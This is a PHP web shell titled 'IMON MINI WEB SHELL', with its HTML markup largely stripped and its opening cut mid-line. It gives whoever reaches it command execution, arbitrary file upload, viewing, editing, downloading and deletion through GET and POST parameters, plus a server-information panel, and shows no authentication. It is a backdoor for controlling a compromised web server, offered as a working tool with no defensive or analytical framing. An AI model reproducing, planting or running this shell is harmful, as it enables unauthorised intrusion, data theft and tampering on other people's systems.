&1"); } // === File Upload === if (isset($_FILES['file'])) { $target = $cwd . "/" . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) { $msg = "✅ Uploaded!"; } else { $msg = "❌ Upload Failed!"; } } // === File Delete === if (isset($_GET['del'])) { $file = urldecode($_GET['del']); if (file_exists($file)) unlink($file); } // === File View === if (isset($_GET['view'])) { $file = urldecode($_GET['view']); echo "

📖 Viewing File: ".htmlspecialchars($file)."

"; echo "
".
         htmlspecialchars(file_get_contents($file)).
         "
"; echo "⬅ Back"; exit; } // === File Edit === if (isset($_GET['edit'])) { $file = urldecode($_GET['edit']); if (is_file($file)) { if (isset($_POST['savefile'])) { file_put_contents($file, $_POST['content']); echo "✅ File Saved!
"; } $content = htmlspecialchars(file_get_contents($file)); echo "

✏️ Editing File: ".htmlspecialchars($file)."

"; echo "

"; echo "⬅ Back"; exit; } } // === File Download === if (isset($_GET['download'])) { $file = urldecode($_GET['download']); if (is_file($file)) { header("Content-Disposition: attachment; filename=".basename($file)); readfile($file); exit; } } // === Server Info === $serverInfo = [ "OS" => php_uname(), "PHP Version" => phpversion(), "Current Dir" => $cwd ]; ?> IMON MINI WEB SHELL (Responsive + Home)

IMON MINI WEB SHELL

🔹 Server Info

$v) echo "$k: ".htmlspecialchars($v)."
"; ?>

🔹 Run Command

$output"; ?>

🔹 Upload File

$msg"; ?>

🔹 File Manager ()

/"; // root foreach ($parts as $p) { if ($p == "") continue; $buildPath .= "/".$p; echo " / ".htmlspecialchars($p).""; } ?>
🏠 Home | ⬅ Back "; } else { echo ""; } } ?>
NameSizeAction
📂 ".htmlspecialchars($f)." [DIR] Delete
".htmlspecialchars($f)." ".filesize($path)." bytes View | Edit | Download | Delete